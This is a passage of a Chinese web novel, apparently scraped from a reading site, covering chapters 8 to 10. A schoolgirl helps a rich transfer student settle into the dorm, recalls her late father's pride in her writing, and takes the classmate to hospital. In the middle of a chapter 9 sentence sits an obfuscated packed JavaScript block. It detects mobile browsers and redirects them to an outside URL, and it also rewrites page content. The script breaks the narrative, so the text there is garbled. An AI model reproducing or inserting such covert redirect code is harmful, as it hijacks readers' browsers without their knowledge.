林羽翼撑着下巴,听得很是向往,别说沿海、北京了,她长这么大,都没去过几次蜀都城区呢,甚至在高中之前,她都没怎么去过广都镇。 她没坐过火车,没见过飞机——啊不,飞机倒是见过,广都镇西北方建了座机场,因此,在广都抬头往天上看,时不时就能看见一架飞机掠过云端。 林羽翼不由得想,等以后她长大了,能够自己挣到钱了,一定要把书上、电视里看到的那些想去的地方,都去看一遍,她一定要亲眼看看这个广阔无垠的世界。 火车站果然如师涟说的那般,混乱、嘈杂,提着大包小包行李的行人和同样提着大包小包货物用力吆喝着的小贩挤在一起,艰难地挤过安检、挤进候车厅。 林羽翼三人没有车票,进不了火车站,只能在出站口眼巴巴地等着,短短几分钟,被推销了好几拨。 “午饭吃不吃?” “钟点房住不住?” “蜀都地图买不买?” “摩托坐不坐?” “张通蜀!”林羽翼努力无视叽叽喳喳的小贩,在人群中瞟见那个瘦高的男孩,立马蹦起来朝他招手。 张通蜀一前一后背着两个大包,手里提着哥麻袋,艰难地从人群里挤出来,他显然没想到会在这里碰到林羽翼几人,愣愣的连招呼都忘了打。 “你们……” “杨老师让我们来火车站接你,这学期开始,你和我们一个组。”林羽翼动作夸张地指一指师涟和刘明,“组长师涟,然后是刘明,不用我介绍了吧?” 张通蜀揉揉被冷风吹得微红的鼻尖,木讷生涩地向他们问好。 “泄泻你们。” 他的口音依旧非常严重。 好在林羽翼能听懂他在说什么,她摆摆手表示不用谢。刘明更不会像张通蜀原来组里的男生一样模仿他说话,他默默地走到张通蜀身边,伸出一只手,表示要帮他提行李。 “不用不用,我自己提。”张通蜀连连慌乱摆手,害怕蛇皮袋把刘明的衣服弄脏——今天开学第一天,刘明没穿校服,穿的是一件浅色羽绒服。 张通蜀一拒绝,刘明显然僵了一下,伸在半空的手往前也不是,缩回去也不是,尴尬地停在那儿。 “都是一个组的同学,以后我们都要互帮互助,客气什么?”师涟不容置疑地出声,林羽翼立马往前,不容分说地把张通蜀手里的蛇皮袋交给刘明。 刘明迅速把巨大的袋子抱进怀里,被袋子遮住一半脸颊,悄悄地松一口气。 “好啦,走走走,吃午饭去吧!”林羽翼蹦跶起身。 午饭吃什么? 这是一个亘古不变的巨大难题。 四个难得进城一趟的少年少女,被周围五花八门的饭店招牌晃得眼花。在火车站附近走了一圈,一行人的脚步不约而同停在巨大的落地玻璃窗前。 落地窗内,暖色灯光洒在深咖色桌椅上,仿佛酝酿出一层淡淡的焦糖烤面包的香气。店里人很多,坐在各自的座椅上,有坐在高脚凳上的,有坐在卡座里的,不显得拥挤,反而显得温馨。更重要的是,他们餐盘上摆放着的食物: 夹着肉饼的大个汉堡,表层微糊的金黄色蛋挞,冒着泡泡的冰可乐。 不得不说,肯德基对十五六岁高中生的吸引力是致命的。 “肯德基诶……”林羽翼说话声音都有些飘,广都镇上只有一家德克士,但她在电视广告里看过肯德基,那些诱人的汉堡、炸鸡、可乐,她老早就想尝一尝了! 再看看旁边几人,除了张通蜀一脸茫然,刘明和师涟显然也在暗暗心动。 “吃……”林羽翼剩下那个“吗”字还没问出口,声音就弱了下去。 她看见了肯德基门口的价目表。 汉堡八块五,可乐四块五,炸鸡六块一份…… 广都镇上的德克士已经很贵了,肯德基竟然还要贵一大截,他们四个人想要吃饱,一顿饭估摸着得吃六七十元。 杨老师给的那一百元够倒是够,可是……林羽翼知道,老师工资并不高,她父亲过世那一年工资才将将一千,后来听到亲戚说,教师涨工资了,又能涨多少呢?再高也高不过两千。 一百元,对于杨老师来说,并不是一笔可以随意浪费的小钱。 不用说出口,其他人显然和她一个想法,尤其是张通蜀,光是看着那价目表,他黝黑的脸蛋竟然被吓得惨白,垂在身侧的手指无措地缩进衣角里。 这不是张通蜀第一次进城,不是他第一次路过火车站,可他从未适应过。 城里的一切,对他来说,都是遥不可及的。 遥远,而陌生。 四人默契地转身离开肯德基,在路边随意找了家盒饭小摊子,四个人吃饱喝足,也才三十五元。 回广都的公交同样拥挤,大冬天的,四人在回学校的车上被挤出一身汗,终于下车,四个人都显得有点狼狈。张通蜀有点晕车,一下车就脸色白惨惨地扶着墙壁干呕。 “来,我帮你背书包。”林羽翼拍拍张通蜀的肩膀。 “不用。”张通蜀很坚持,咬着牙站直身子,“走吧。” 校门就在马路对面。 或许是因为这条路才修好不久的缘故,学校门口并没有红绿灯,林羽翼几人看见路上没车,便准备直接穿过马路,一迈步,忽的听见不知从哪儿传来的巨大引擎嗡鸣声。 “呼呜——!” 如深谷中怪物咆哮声。 四人齐齐停住脚步,本能地向声音来源处看去。 恍若与天际相接的马路尽头,凭空出现一辆金属黑色的轿车,那辆车很矮,车型很是小巧,却发出了排山倒海般的音浪声。 那辆车速度很快,上一秒还在天际,下一秒便穿过天边,来到泊油路面上,最后一个帅气地摆尾停在广都中学校门口。 然后……就被保安拦住了。 林羽翼四人,几乎同步地呆呆站在原地,目光像是训练过一般齐齐落在那辆车上。 跑车啊…… 林羽翼没见过什么豪车,就算是一辆再普通不过的烂大街的桑塔纳,对她来说已经是遥不可及的天价。如果不是哥哥时不时会开鸭场老板的车去跑工作,她可能长这么大都没坐过小轿车。 一辆跑车突兀地出现在她眼前,那一瞬间,林羽翼差点以为自己穿越进言情小说了。 林羽翼揉揉眼睛,反复确认自己没看错,她的嘴张了又张,想说什么,声音又卡在嗓子里没说出来。就这样呆愣许久,最后还是师涟一声清冷的“走吧”,将她唤回现实。 走在最后的不是刘明,是张通蜀,他双手握着背包带,握得很紧。 四人沉默地走过马路,离校门口越近,也就离那辆跑车越近。林羽翼清晰地看见黑色流线型车身上泛着光,车尾灯亮起,红得黯淡。 跑车两边车窗都打开着,左边坐着个烫着一头卷发的男人,看起来二十出头,他嘴里叼着一根粗雪茄,正在和保安争吵: “怎么就不能把车开进去了?我和你们校长说好了的!” 保安无奈地直摆手:“我们没接到通知啊!没有通知没有批条,不能让外来车辆进学校!更何况你们这车,要是让学生看到了也不好。” “怎么就不好了?仇富啊?”那男人吐一口烟圈,手指矜贵地搭在车窗上,弹落一丝烟灰,“规矩是死的,人是活的,谁叫我刚给你们校长打电话她没接呢?真的是……” 他埋头,另一只手翻出一个小巧的翻盖小灵通手机,哒哒哒地摁下按键。 另一边车门忽然被打开。 “哥,没事儿,我自己进去吧,不耽误你时间。”一个穿着褐色长风衣,戴着黑色墨镜的少女从车上走下来,极有范儿地抱手靠着车门,“哥,递一下行李呗。” “你一个人哪儿搬得动?”男人有些艰难地从跑车狭窄的后排空间里抱出行李箱和书包,紧接着他自己就要下车,却被少女拦住了。 “那儿不还有人吗?”少女手指勾一勾烫得微卷的长发,微微抬起下颌,指向林羽翼一行人的方向。随即,她踩着闲适的步伐,径直走到林羽翼面前。 女生身高其实不高,比林羽翼矮一截,但气势却把她压得呼吸都变紧。 女生摘下墨镜,抬眸勾起一丝笑,桃花一般温柔的眼眸却漾着锐利的笑意:“同学,能帮我搬下行李吗?” “谢谢。”她噙着嘴角,接着说。 21.第8章 “你寝室在哪儿?”林羽翼双手插着兜,隔了几秒才问。她垂眸扫视着面前少女的脸颊,表情看起来有些冷酷甚至冷漠,但其实她是在紧张。 她从没见过奢侈品,对那些玩意儿的价格毫无概念,但她隐隐约约能够感觉到,自己全身上下的衣服价格加起来,可能还抵不过面前这位大小姐一条围巾的价格。 后来林羽翼才知道,何止是抵不过,乘个十倍都还差得远。 林羽翼故作高冷地掩饰心里的紧张,或者说……不是紧张,是因为极度自卑,而衍生出的那一丝害怕的情绪。 “寝室在哪儿啊?”少女漫不经心地打个哈欠,优雅地从兜里拿出一张纸条,“我在303寝,同学,我刚转学到这儿,找不到路,还得麻烦你带路。” 她说着,一点儿不认生地把手里行李箱递给林羽翼。 林羽翼默默拎起行李箱把手,转身让师涟她们先回教室,师涟却已经抢先一步,从她手里拿过行李箱拉轮:“走吧。” 师涟一手拉着行李箱,一手牵住林羽翼向前走几步,行李箱轮胎在地面上划出“哗哗”的声音。 “谢谢两位同学。”少女抱着手臂挑眉轻笑,跟上她们的步伐。她明明不认路,却再自然不过地往前,走到林羽翼的侧前方,仿佛她身来便是那个走在人前的。 午后阳光正盛。 林羽翼目光无意间瞟过前方的少女,眼睛被阳光晃得睁不开,视野里似乎被镀了一层朦朦胧胧的光。林羽翼有些分不清,究竟是阳光太烈,还是眼前的少女在发光。 她们身后,另一个方向,男生宿舍。 铁锭一般沉重的书包将晕车的张通蜀压得弯了腰,他坚持没有让刘明帮他提行李袋,一个人提着粗麻袋,脚步笨重地一步步往前挪。少年灰扑扑的身影,被宿舍楼巨大的阴影吞没。 …… 从校门口到寝室楼下这段路并不费劲,最折磨人的是上楼这段路,师涟抬着行李箱上了半截楼梯就抬不动了,扶着箱子弯腰大喘口气,林羽翼接过行李箱,把箱子抱起来的那一下差点没站稳。 “同学……你这箱子里装了几斤铁吗?”林羽翼直呲牙,使出吃奶的劲儿才把箱子抱到二楼。 女生无辜地耸耸肩膀。 “你不来搭把手吗?”林羽翼累得差点一屁股坐到箱子上。 “我搬不动呀。”女生理所当然地摊开手,语气娇滴滴的,竟然让人生不出一点儿指责的情绪。 “看你这身板儿也不太行。”林羽翼无奈地叹口气,师涟休息得差不多,从林羽翼手里接过箱子,再往上搬半截,然后再换回林羽翼。两人交替着,终于把箱子搬上三楼,停在303寝室前,林羽翼看着熟悉的寝室门,猛地意识到: “同学,你……是张潇扬?” 林羽翼在302寝室,对面是303寝,住的都是一班同学! “嗯哼。”女生不知什么时候嚼起了口香糖,顺手给林羽翼和师涟也递了颗糖,漫不经心地说,“你们认识我?” 林羽翼头疼地“嘶”了一声,终于后知后觉杨老师那句“你们见到她就明白了”是什么意思。组里已经有了刘明和张通蜀,这会儿又来个张潇扬大小姐,杨老师还真是,把问题学生都丢到她和师涟手里! “她,师涟。我,林羽翼。”林羽翼手指着介绍,“张潇扬,我们和你一个班,一个组。” “哦?这样啊。”张潇扬漂亮的桃花眸中,锋利的笑意忽的变甜,尾音勾得很长,“同班同学,你们好呀,以后我就指望你们多多关照啦。” 林羽翼起了身鸡皮疙瘩,眼神示意她快点开门,收拾好赶紧回班里。 开了门,林羽翼不打算进别人寝室,可张潇扬似乎也没进去的打算,捏着无辜的目光看着她们。林羽翼捏了捏手指:“张同学,你不会还要我们帮你铺床吧?” 张潇扬诚实地点头:“我不会呀。” 林羽翼:“……” 张潇扬:“都是阿姨帮我铺。” 林羽翼:“……” “你没住过校?”师涟问。 “住过呀,以前读的国际学校,住的单间,开学前阿姨就去帮我铺好床了。可转到你们这儿之后,我爸硬是说带阿姨来学校太高调,影响不好。” 如果这些话是从别人口中说出,林羽翼一定会觉得那人装得要命,可张潇扬的语气异常真挚无辜,这话从她嘴里说出来,竟给人一种再正常不过的感觉,没有夸大,也没有任何炫耀的意思。 林羽翼恍惚一下,回过神:“那么张潇扬同学,你……你为什么屈尊来我们这儿读书呢?” “我爸安排的呗。”张潇扬脸色骤然阴沉,嗤笑一声,“鬼知道他怎么想的,说不定是在哪个酒局上和你们校领导喝高了,吹牛吹高兴了,一个激动就把我送过来,谁知道呢?反正……” 她没在说下去。 “反正什么?”林羽翼追问。 “没什么,林同学,现在可以帮我铺床了吗?谢谢您。”张潇扬捏着嗓子,语气变甜,“诶对了,林同学,寝室里有浴缸吗?” “没有浴缸。” 还想要浴缸呢? 林羽翼麻木地摇头,把她的行李推进寝室门,然后一把将门关上,在张潇扬诧异的目光下,不由分说径直迈步往楼梯口走,“先去教室,不然赶不上下午的课,晚上再回来铺床。” “走吧,张同学。”师涟微笑。 “好嘛好嘛。”张潇扬跟在两人身后,抬头不断观察周围环境,“诶,我说你们寝室楼和教学楼还蛮漂亮的,比我以前的学校修得还漂亮 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“你的位置在这儿。”林羽翼用气音给张潇扬指了指座位,她坐申树同桌,后排是林羽翼和师涟,再后排则是张通蜀、刘明两个男生。 这时申树的座位是空着的,她应该是上厕所去了。 刘明刚刚已经眯了一小会儿,他被张潇扬放书包的窸窣声惊醒,困倦地揉揉眼睛,摇摇晃晃地起身去厕所。 没一会儿,刘明悄无声息地从后门回到教室,走到林羽翼桌子前,犹豫地看着她。 “嗯?”林羽翼熟练地开口问他。 他小心翼翼地指了指林羽翼桌上的纸巾。 “拿去用吧。”林羽翼恍然,上厕所没纸了呀。 刘明拿着纸巾离开教室,没过几秒,他空手回到教室,一屁股坐回自己的座位上。纸呢?林羽翼终于意识到不对劲儿,她看看前排申树空着的座位,立马回头,小声问刘明:“申树她在厕所拐角?” 刘明点点头,压着气音:“她、她在哭。” “怎么回事?”林羽翼眉头皱起。 刘明摇摇头表示自己不知道,旁边组一直埋头刷题的女生凑过来,低声说:“杨老师发火了,你们没走多久,杨老师就在办公室里骂她,骂得很凶,教室里都听得到,杨老师从来没那么凶过。她和史小诺……应该是完球(注1)了。” 林羽翼闻言,在教室里环顾一圈,很快找到史小诺的身影,他没有睡觉,也没有刷题,他正死死埋着头盯着课桌板发呆,向来温和懒散的脸颊上没有一丝笑意,反而显得异常颓然,整个身躯像一棵枯朽的腐木,又如痛苦到麻木的行尸走肉。 终究是分手了啊。 22.第9章 少年时期的感情是什么样的? 朦朦胧胧?浓烈真挚?纯净无暇?脆弱易折? 林羽翼觉得都不是。 旁观过申树和史小诺这段短暂的感情后,林羽翼只觉得,十五六岁小孩子之间的暧昧,能像什么呢?像是长在墙角的一株野草,看似生命力旺盛,怎么踩都踩不断,可只需要一阵不知从哪儿吹来的微风,就能把它吹得晕头转向。 风往哪边吹,它就往哪边倒。 没有人知道那天杨老师到底对申树说了些什么,只知道那天申树从办公室出来后,立刻把史小诺叫到走廊上去,平静地和他说了些话。 然后,史小诺回到教室后,便是那副失魂落魄的模样。 而申树在午休时,一个人偷偷跑去走廊尽头的厕所外,无声地哭了一会儿。 这事儿好像就这么彻底过去了。 没有什么旧情复燃,也没有什么爱得死去活来。那天中午哭过之后,申树就像是什么事情都没发生似的,再没主动找过史小诺说话。史小诺黯黯失神一段时间——可能一两个月吧,渐渐地也就恢复平常。 抛去这段小风波,林羽翼的高一下学期过得很平淡。 以前推着她往前走的是埋藏在心底的那根刺,是糟糕的分数和倒数的成绩排名,这根刺牢牢扎在她心底,时不时扎出一阵隐痛,推着她奋力向前。 她努力大半年,终于在期末将那颗刺拔了出去。 杨老师替她立下了考川大甚至考清北的远大目标,生物老师不再怀疑她能否留在一班,她自己同样很开心。 可是隐刺被拔除,心底不再作痛,同时意味着,那股一直推着她向前的力消失了。 她依旧努力地学习,依旧认真地听课,依旧有规划地和师涟一块儿刷题、批改、预习、复习,她很努力,至少比初中时努力多了。 只是比不过上学期全身心投入的状态而已。 作业写得差不多了,那么在自习课上看看小说放松一下,没问题吧?整整三节晚自习都在认真刷题,那么回到寝室后早早躺上床休息,没问题吧?在学校里困了整整五天,终于到了周末,在广都城里到处逛逛玩儿玩儿,没问题吧? 反正,成绩大差不差就行。 接下来两次考试,林羽翼的成绩的确没有太大起伏,两次都是班级十来名,年级二三十名,拿得到奖学金,维持在“优等生”的范围里。 用随波逐流四个字来形容林羽翼这学期的生活,再合适不过。 张通蜀和张潇扬这两个新组员的到来,并没有打破林羽翼平静的学习生活。 张通蜀本身木讷寡言,他不是内向,只是单纯地不太喜欢和人交往,他更喜欢一个人埋头学习,上课学下课学,体育课翘课学,午休不睡觉也要学。 张潇扬这位大小姐,完全没有林羽翼最开始想象得那么难相处。 或者说,她们根本没怎么相处过。张潇扬在学校里神出鬼没的,几乎只有在上课时才乖乖坐在教室里,一下课就没了影儿,甚至偶尔上课也没有出现。科任老师刚开始还会询问一两句,后来就睁一只眼闭一只眼了。 有钱人家的大小姐嘛,读不读书又怎样呢?所有人都是这么想的。 林羽翼是从303寝的同学口中知道,原来张潇扬的行李箱里还真装了“铁块”——一台厚重的笔记本电脑。林羽翼没见过笔记本,只从同学那儿听到说,那玩意儿比机房里的大块头方便得多,可以随身带着。但谁也没见张潇扬用过它,说是寝室里面没有网线,压根用不了电脑。 真奇怪,用不了干嘛还要带着? 第二周,张潇扬甚至带了一个折叠浴缸来学校,寝室里的同学把桌子挪了又挪,才终于挪出放浴缸的位置。 除此,张潇扬并不过分高调,也没有过多的架子。 让林羽翼觉得最意外的是,张潇扬的成绩竟然并不差,两次考试,她在班上都是倒数几名——这是一班,广都中学最好的班级。一般倒数,年级上七八十名,已经是非常不错的成绩了。 说到成绩,师涟依旧是那个万年第三,刘明的成绩和林羽翼差不多,这一学期,他明显比上学期放松,申树的成绩保持在中游,组里成绩最差的竟然是张通蜀,他的半期考成绩甚至比张潇扬要低两名。 所有人都看得出来,张通蜀已经非常非常努力了,可是在他这里,努力好像毫无意义。 好几次上课时,林羽翼无意间瞄到张通蜀在奋笔疾书的同时,张潇扬却在撑着下巴打盹儿,她自己都觉得揪心,替张通蜀冒了把憋屈、难受的汗。 “没办法啊……”出成绩那天,杨老师看着林羽翼一组的成绩单,看得直叹气,“你们组的张通蜀,只能看他什么时候开悟,一旦悟了,立马一飞冲天。” “那要是悟不了呢?”林羽翼皱着眉头问。 “悟不了啊……”杨老师惆怅地摇摇头,不知道是安慰自己,还是真这样想,“会悟的,等高三看看吧。” 什么悟不悟的,学习这种事,有这么玄乎吗? 林羽翼不明白。 后来,大学的某一天,她忽然明白了。 悟与不悟,就在那么缥缈的一瞬间。悟了,学习路上的那层朦朦胧胧轻纱般的雾气无痕地消散,只剩下一条明朗的通天大路,一走到底。说不清楚,就是这么玄乎的事儿。只可惜,林羽翼明白得太晚了,悟得太晚了。 …… 期中考成绩出来后,紧接着便是周末。 这学期开始,林羽翼的寝室没有分来其他同学,她一个人住习惯了,早已习惯了夜晚楼栋里的寂静。难得的休息日,再加上周末晚上不熄灯,她捧着古龙的《绝代双骄》看到大半夜。 小鱼儿与花无缺,哎呀,明明是血亲兄弟,却因为父辈的恩怨情仇,差点儿成了夺走对方性命的宿敌,命运也太、太会开玩笑了! 看着看着,林羽翼觉得心里燃起一股愤愤的火,一个鲤鱼打挺从床上翻身而起。坐到书桌前,拿起笔唰唰唰地在笔记本上写写画画。 要是花无缺和小鱼儿没有自幼分别,故事会是什么样呢? 林羽翼洋洋洒洒写了几千字,在她的故事里,小鱼儿和花无缺是一对闻名江湖的双子少侠,在波涛翻涌的江湖中,翩翩少年携手进退,惩奸除恶、快意恩仇,留下了一段又一段神秘的传说,最终归隐江湖。 “呼……”林羽翼满意地放下笔,双手拿起本子,来来回回读了好几遍,如果不是寝室太小,她恨不得抱着本子来回跑几圈。 明天一起床,就把故事带去给师涟看! 林羽翼兴奋地翻身蹬上床,关灯,盯着黑洞洞的上铺床板,激动的情绪褪去,目光一点点变得黯淡。 林羽翼从小就喜欢写故事,小学的时候,语文作文是她的主战场,对别的同学来说,凑够五六百字的作文可太难了,但林羽翼喜欢想故事、编故事,喜欢把脑海里那些有趣的故事写进作文里。 父亲一直是她的忠实读者,他永远都期待着她的下一篇“大作”,永远会第一时间认认真真读完她的故事,认真地夸她,给她提意见。 王大元从不吝啬自己对女儿的关心与夸奖,在林羽翼面前如此,在别人面前亦是如此,如果不是和村里亲戚实在没共同语言,他恨不得逢人就夸自家闺女多么多么有文采,多么多么有写作天赋,将来一定会成为大作家。 王大元还会把林羽翼的作文送去市里参赛,亦或是投稿给小学生的课间读物“红领巾”杂志—— 只可惜,从小学三年级到初中一年级,林羽翼参赛无数次,投稿无数次,从来没有一次获过奖,也从来没有一次登 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12954191|135210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上过杂志。 到了初二那年,语文作文几乎抛弃了记叙文这一文体,林羽翼对写故事的热情也渐渐消失了。父亲倒是一直很希望她能再次提笔写一写,可她不想动笔,没有那动力。 写出来压根就没有人看,没有人会喜欢……干嘛要写? “你只是写自己想写的故事,表达自己想要表达的东西——情绪也好,感情也好,都是你自己的,何必在乎别人喜不喜欢呢?”父亲总是这样安慰她。 可父亲的安慰没有任何说服力。 他要真觉得别人的喜欢不重要,就不会一次次在外人面前夸奖林羽翼多有写作天赋,不会一次次把林羽翼的作文送进市里比赛,不会一次次拖着残破的身躯进城寄稿子给杂志编辑部。 他比任何人都期望,林羽翼写出的故事,能够得到他人的喜爱。 他一直相信着,一定会有那么一天。 但或许是他的期望无形中带给了林羽翼巨大的压力,甚至让林羽翼对写故事这件事产生了一种本能的抗拒,从初二到父亲过世,再到高中大半年时间,她都没再写过什么。 也就是今晚不知怎么着心血来潮,提笔写了那么几千字。 可惜父亲再也看不到了。 林羽翼伸出一只手臂,五指向上张开,缓缓握住,仿佛想在漆黑朦胧的夜色里抓到什么东西。她什么也没有抓到,手指无力地落回脸颊上,冰凉凉的手背盖着眼睑。 林羽翼快睡着时,已经接近天亮。 她做了一个迷迷糊糊的梦。 她梦到了故事里携手闯江湖的小鱼儿花无缺双子侠客,画面一转,不止怎么回事,花无缺的脸变成了师涟,而林羽翼成了小鱼儿。 梦里的逻辑本就稀碎奇异,林羽翼立马接受了这个设定,别说,师涟穿着一身侠客服、高高束起头发的样子还挺俊朗。再看看不知道从哪儿出现的镜子,林羽翼自己也成了个拿着剑的翩翩少年郎。 她拿着剑,和师涟携手并肩,一路上御风而行,斩妖除魔,接下不少仇家,最终落得个被万人追杀的下场。 正当她和师涟被仇敌逼到悬崖绝境退无可退时,画面又一次剧烈变化,她和师涟平移到一间小小的木屋里,她们瑟缩在木屋最深处,抬眸往外看,两个身影挡在木门外,挡住前来寻仇的那些人。 其中一个身影魁梧高大,手执一把流星锤,挥舞间竟惹来地动山摇。 另一个身影略显瘦削,脊背佝偻,一只腿竟然是瘸的,他一手杵拐一手执剑,苍老的背影丝毫不掩高人风范。 是哥哥和父亲…… 林羽翼怔怔地看着前方两个身影,鼻尖霎时酸得厉害,她踉跄往前走几步,想要走到父亲身边,可小木屋看起来那么狭窄,她瘸怎么也走不过去。她往前迈一步,他的身影就无形地往前移一点儿。 “爸……!”林羽翼眼眶湿润,她奋力地往前奔跑,却依旧没能触及到父亲的衣袖,反倒是身后忽然传来一阵巨大的“轰、咚”声。 “轰!咚、咚!” 仿佛有人拿着一把巨斧,狠狠地劈在木屋顶上! “呼——!”林羽翼猛地从床上坐起,茫然地揉揉眼睛,望向明亮的窗外世界,才恍惚意识到刚才不过是一场梦。 “咚、轰”的敲门声——或者说明显更像踹门的声音还在响,但比起刚才,已经微弱许多。 “谁?”林羽翼三两下换上衣服,起身开门,看清门外的身影,“咦,是你……张潇扬,你没回家啊?你、你怎么了——?” 张潇扬只穿着一件单薄的睡衣,右手手背暴起青筋,紧紧扶着墙壁,另一只手捂着肚子,身体痛苦地往下弯。 “我、我肚子疼……”她艰难抬起头,脸颊上挂着两行凄惨的泪水,苍白的嘴唇被咬出可怕的血印,说话时声音颤得厉害。 23.第10章 肚子疼? 林羽翼第一反应是张潇扬吃坏东西了,可她随即注意到张潇扬手捂着的位置,在更偏下一点:“你来月经了?” “嘶……”张潇扬疼得嘶嘶响,无力地点头。 “你等等,我那儿有热水袋!”林羽翼迅速冲到衣柜前,从衣柜深处翻腾出一个干瘪的橡胶热水袋。久了没用,热水袋表面看上去灰扑扑的,有点脏,现在顾不了那么多了,林羽翼快步冲出去,“张潇扬,现在烧水来不及了,我去一楼找宿管老师弄热水,你在房间里休息好吗?我很快回来。” 林羽翼转身就跑,手指却被轻飘飘地勾住。 她回头,看见张潇扬跌坐在冰冷的地面上,苍白的脸颊布满泪渍,平日里锐利的双眸被朦胧的雾气遮挡,看起来像一个随时可能碎掉的脆弱瓷娃娃。 “不要……”张潇扬声音比蚊蝇还要弱,几乎是从喉咙里挤出来,“不要丢下我。” “我只是去接一下热水,几分钟就回来,哪儿有‘丢下你’那么严重?”林羽翼下意识反驳,她看着张潇扬这么脆弱可怜的样子,语气终究变软了些,“那你、你还能走得动吗?我们一起下楼接热水,如果有了热水肚子还痛,就去医院看看。” 张潇扬无声点点头,竟然显得有些乖巧。 “走!”林羽翼用力扶起她,张潇扬比她想象得轻许多,她不过轻轻扯了一下,差点把张潇扬扯得撞到她身上,“你怎么这么瘦?身上一点儿肉都没有。” 张潇扬靠在她的肩膀上,肋骨硌得她手臂疼。 张潇扬嘴唇轻微地动了动,没有回应。 “走吧走吧。”林羽翼轻叹一声,扶着她缓步下楼。 短短三层楼,六截楼梯,走得很不容易。张潇扬的脚步完全是虚浮的,她全靠林羽翼支撑着站稳,只不过下了个楼梯,她的额头便满是汗水,显得异常可怜。 林羽翼能清晰感觉到,怀中张潇扬抖得厉害,是那种疼得阵阵痉挛的颤抖。 “没事儿,马上就到了。”林羽翼轻声安抚。 “哎呀!你们俩娃儿咋回事!”宿管老师远远看见搀扶着的两人,发出一声惊呼。 “老师!我同学她、她痛经!你那儿有开水吗?”林羽翼赶忙把捏在手里的热水袋递过去。 “有有有,我这就去接水。”宿管阿姨很快捧着鼓鼓的热水袋回来,焦心地看着张潇扬,“哎哟,妹儿啊,你这样不得行,还是得去医院看看。” 紧接着,宿管阿姨熟练地指挥道:“你带她去门卫室,给家长还有老师打电话,我这就去叫三轮!” 说完她便火急火燎地跑出宿舍。 “走吧,我扶你出去。”林羽翼低头看着张潇扬。 “……走不动了。”张潇扬气若游丝,她毫无形象地靠着墙壁坐在地上,额头上直冒虚汗,热水袋倒在她的腿上,她连扶着热水袋的力气都没了,更别说出门走动。 林羽翼无声叹口气,蹲在她身前:“我背你。” “……”张潇扬眼皮动了动,没有回答。 林羽翼无奈地将她软绵绵的手臂靠上自己肩头,往前轻轻一拉,便把她拉到自己背上背着。大小姐瘦得可怕,背着她,就像背一只软趴趴的猫儿一样。 林羽翼小步跑到宿舍外,一阵清凉的冷风吹来,夹杂着细碎雨丝,天公不作美,偏偏在这时候下起小雨。林羽翼不得不再跑回宿管阿姨的房间,拿一把雨伞,把伞撑在肩膀上,拿下巴抵住伞柄,艰难地走进雨中。 张潇扬似乎疼得彻底没了力气,一路上丁点儿声响都没发出,如果不是林羽翼能感觉到,背后的瘦弱身躯时不时痉挛一下,以及耳旁不间断地传来牙齿哒哒的颤抖声,林羽翼好几次以为她已经晕了过去。 “记得你家的电话号码吗?”马上就要到门卫室,林羽翼提前问。 “嗯?”张潇扬虚弱地哼了一声。 “电话号码,给你爸妈打电话。”林羽翼完全没有预料到,在她说完这句话后,张潇扬不知从哪儿爆发出巨大的力气,原本只是搭在她身前的双手一下子勒紧,差点没把她勒得喘不过气。 “别、别打电话!” “你……” “不要打给他!不要让他知道!”张潇扬从嗓门里爆发出一阵尖锐的喊声,喊破了音,到最后两个音节时,又因为疼痛而颤抖,带上了哭腔,她的双手依然把林羽翼勒得很紧,显然对打电话对家长这事儿抗拒到了极点。 “大小姐,你可省省力气吧。”林羽翼用力掰开张潇扬勒着她喉咙的手,“那我去给杨老师打个电话。” 林羽翼能理解张潇扬为什么不想通知家人,如果是她生病,她肯定也不会告诉哥哥。 “不!”张潇扬依然倔强地摇头,牙齿咬得咯咯响,“不,打,电,话!” 林羽翼:“……” “好好好,我不打电话,我这就送你去医院总行吧?”林羽翼真怕张潇扬用力过度,在她背上晕过去。 她转身跑向校门口的方向,张潇扬紧绷的身躯终于放松下来。 宿管阿姨已经喊到了三轮,林羽翼赶忙把张潇扬扶进车厢,撑着雨伞帮她挡风。 车夫蹬起脚蹬,三轮嘎吱嘎吱地缓缓向前移动,呼啸的风声撞在雨伞背面,哗哗哗哗。杂乱的声音中,林羽翼却依旧清晰听见张潇扬微弱的啜泣声。 她只能无奈又柔和地轻拍张潇扬脊背。 “好疼……”张潇扬可怜巴巴地蹭过她的肩头,手指想要抓住她肩上的衣服,可是又没有力气握紧。 “没事儿,三轮很快就到医院了。”林羽翼哄小孩般轻声哄着她。 三轮停在广都医院门外,林羽翼立刻背起张潇扬,熟练地挤进人群中,直奔挂号窗口。因为父亲生病的缘故,她是广都医院的常客,闭着眼睛都知道挂号口在哪儿、诊室在哪儿。 林羽翼没有浪费一点儿时间,拿着挂号单迅速赶到门诊处。张潇扬疼得快要虚脱,还好现在接近午餐时间,妇科诊室没多少人,很快就轮到她们。 “妹儿你……痛这么厉害呀?”医生诧异地检查一番,大手一挥,唰唰唰地开好药,“正常情况来说,痛经不是什么大事儿,但你这样我也没法仔细做检查,当务之急是先把痛给止住。这样,我先给你开点儿止痛药,小同学,你去给她买点儿粥喝,垫垫肚子,吃饱了再吃药啊!” “如果吃完药还疼,等经期过了再来检查,或者去隔壁中医院调理调理,痛经这事儿啊……的确不是什么大问题,可痛起来又真是恼火哟。” 林羽翼把张潇扬扶到诊室外的长凳上:“我出去买粥,医院里人挤人的,我背着你不方便,你一个人坐这儿等我好不好?如果实在疼得厉害,就去找医生,我会很快回来的。” 大小姐这回没有再闹腾,抱着脏兮兮的热水袋,乖乖点了头。 林羽翼松口气,她昨晚没睡好,一觉醒来忙活这么一上午,还真背不动张潇扬了。 卖粥的小摊就在医院外的小巷里,林羽翼一年没来,可卖粥的老板看见她,竟然一眼认出了她:“小妹妹,好久不见啊,你爸爸又生病了吗?” “……没。”林羽翼睫毛颤了颤。 “还是老规矩,三杯皮蛋瘦肉粥?”老板没注意到林羽翼的失神,笑呵呵地问。 “不是不是,”林羽翼摇头,“一杯皮蛋瘦肉粥,一杯八宝粥,再要两颗茶叶蛋。” “好勒!” 医院外物价很便宜,一共三块钱。 